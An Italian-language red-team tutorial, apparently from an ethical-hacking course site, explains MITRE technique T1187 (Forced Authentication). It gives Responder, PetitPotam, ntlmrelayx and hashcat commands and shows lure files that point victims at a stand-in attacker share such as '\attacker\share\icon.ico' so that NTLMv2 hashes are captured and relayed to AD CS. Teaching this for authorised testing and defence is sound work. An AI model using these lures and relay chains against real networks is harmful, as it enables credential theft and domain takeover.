Autenticazione Forzata: Forced Authentication (T1187)
La tecnica Forced Authentication sfrutta un comportamento nativo dei sistemi Windows: quando un host tenta di raggiungere una risorsa remota tramite SMB o WebDAV, invia automaticamente le credenziali dell'utente corrente sotto forma di hash NTLMv2. Un avversario che controlla il server di destinazione intercetta questi hash e può sottoporli a cracking offline oppure inoltrarli in tempo reale contro altri sistemi tramite attacchi di NTLM relay.
Collocata in TA0006 (Credential Access), questa tecnica si posiziona nelle fasi centrali della kill chain, tipicamente dopo un initial access via spearphishing o durante movimenti laterali interni. Il vettore più comune è un allegato Office con template injection che referenzia una risorsa remota tramite path UNC (ad esempio file://[remote]/Normal.dotm), oppure file .LNK e .SCF con icone che puntano a share esterni. Una variante moderna sfrutta la funzione EfsRpcOpenFileRaw dell'interfaccia MS-EFSRPC (nota come PetitPotam) per forzare un domain controller a autenticarsi verso l'attaccante.
L'impatto operativo è significativo: 2 gruppi APT documentati (Dragonfly e DarkHydrus) e il malware EnvyScout utilizzano varianti di questa tecnica per raccolta credenziali in ambienti enterprise. Il rischio primario è la compromissione di account privilegiati senza necessità di eseguire codice sull'endpoint bersaglio, rendendo la tecnica particolarmente insidiosa e difficile da distinguere dal traffico SMB legittimo.
In un ingaggio red team, la simulazione di Forced Authentication parte tipicamente dal setup di un listener SMB/HTTP capace di catturare gli hash NTLMv2. Lo strumento di riferimento è Responder (open source), che intercetta broadcast LLMNR, NBT-NS e mDNS oltre a rispondere a richieste SMB dirette. Il comando base per l'ascolto passivo su interfaccia dedicata è responder -I eth0 -wv, che avvia i server rogue e registra gli hash catturati in logs/SMB-NTLMv2-SSP-.txt*.
Per forzare l'autenticazione senza attendere il traffico spontaneo, si genera un lure. Un file .LNK malevolo può essere creato in PowerShell impostando il campo IconLocation verso un UNC controllato: quando l'utente naviga la cartella, Explorer risolve l'icona e attiva la richiesta SMB. Analogamente, un file .SCF con la direttiva IconFile=\attacker\share\icon.ico piazzato su una share pubblica genera hash ogni volta che la cartella viene aperta. Per il vettore Office, la template injection consiste nel modificare word/_rels/settings.xml.rels di un documento .docx sostituendo il target del template remoto con un UNC dell'attaccante.
La catena PetitPotam si esegue con l'omonimo tool (open source) presente su GitHub, con sintassi tipo python3 PetitPotam.py <attacker_ip> <dc_ip>: il target DC viene indotto ad autenticarsi tramite EFSRPC verso il listener. In combinazione con ntlmrelayx.py della suite Impacket (open source), l'hash può essere rilanciato in tempo reale contro un endpoint AD CS vulnerabile per ottenere un certificato utente e, tramite Rubeus (open source), un TGT valido — la catena nota come ADCS ESC8.
Per WebDAV, l'attaccante può ospitare un server con Impacket o con moduli custom Python; l'interesse operativo è che WebDAV opera su TCP 80/443 e spesso bypassa firewall che bloccano SMB egress. Il tool mitm6 (open source) integra bene la catena avvelenando IPv6 DHCPv6 per redirigere le richieste WPAD.
Durante il test è utile validare l'efficacia del cracking con hashcat in modalità -m 5600 (hashcat -m 5600 hashes.txt wordlist.txt) per stimare la resistenza delle policy password. In laboratorio, isolare sempre l'ambiente e ottenere autorizzazione scritta: gli hash NTLMv2 sono dati sensibili anche se apparentemente inerti.
Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?
Accedi alle lezioni gratuite e segui il percorso corretto fin dal primo passo